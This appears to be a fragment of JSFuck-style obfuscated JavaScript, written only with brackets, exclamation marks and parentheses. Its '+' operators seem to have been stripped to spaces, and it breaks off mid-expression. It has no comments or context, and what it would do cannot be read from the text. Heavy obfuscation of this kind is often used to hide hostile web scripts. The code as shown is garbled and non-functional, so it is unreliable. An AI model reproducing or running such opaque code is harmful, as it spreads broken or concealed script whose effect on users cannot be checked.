[][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ ! []]]   [! []   ! []   ! []   ! []   ! []]   (![]   [])[ []])   (!![]   [])[ []]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   ([][[]]   [])[ []]   ([][[]]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ ! []]]   (! []   ! []   ! []   ! []   [ []])   [])   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   ([][[]]   [])[ []]   ([][[]]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ ! []]]   [! []   ! []   ! []   ! []   ! []]   (![]   [])[ []])   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   ([][[]]   [])[ []]   ([][[]]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ ! []]]   (! []   ! []   ! []   ! []   [! []   ! []   ! []   ! []   ! []   ! []   ! []   ! []])   [])   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[(![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []]   ([![]]   [][[]])[ ! []   [ []]]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[! []   ! []   ! []]](( (( ( ! []   [ ! []]   (!![]   [])[! []   ! []   ! []]   [! []   ! []]   [ []])   [])[ ! []]   [ []   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ ! []]])   [])[! []   ! []]   [ ! []])   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   